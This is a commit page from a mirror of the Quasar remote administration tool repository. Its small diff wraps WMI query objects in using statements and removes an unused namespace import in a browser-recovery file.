mirror of https://github.com/quasar/Quasar.git
Removed unnecessary namespace + added using statements for disposable objects
This commit is contained in:
parent
dbd5b4d453
commit
6d9e1602a7
|
@ -70,8 +70,10 @@ namespace xClient.Core.Helper
|
|||
"SELECT AddressWidth FROM Win32_Processor");
|
||||
|
||||
// Perform the query and get the result.
|
||||
ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query);
|
||||
ManagementObjectCollection queryCollection = searcher.Get();
|
||||
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
|
||||
{
|
||||
using (ManagementObjectCollection queryCollection = searcher.Get())
|
||||
{
|
||||
foreach (ManagementObject queryObj in queryCollection)
|
||||
{
|
||||
if (queryObj["AddressWidth"].ToString() == "64")
|
||||
|
@ -81,7 +83,8 @@ namespace xClient.Core.Helper
|
|||
}
|
||||
return 32;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the name of the operating system running on this computer (including the edition).
|
||||
|
|
|
@ -8,7 +8,6 @@ using System.Security.Cryptography;
|
|||
using System.Text;
|
||||
using Microsoft.Win32;
|
||||
using xClient.Core.Data;
|
||||
using xClient.Core.Utilities;
|
||||
|
||||
namespace xClient.Core.Recovery.Browsers
|
||||
{
|
||||
|
|
Loading…
Reference in New Issue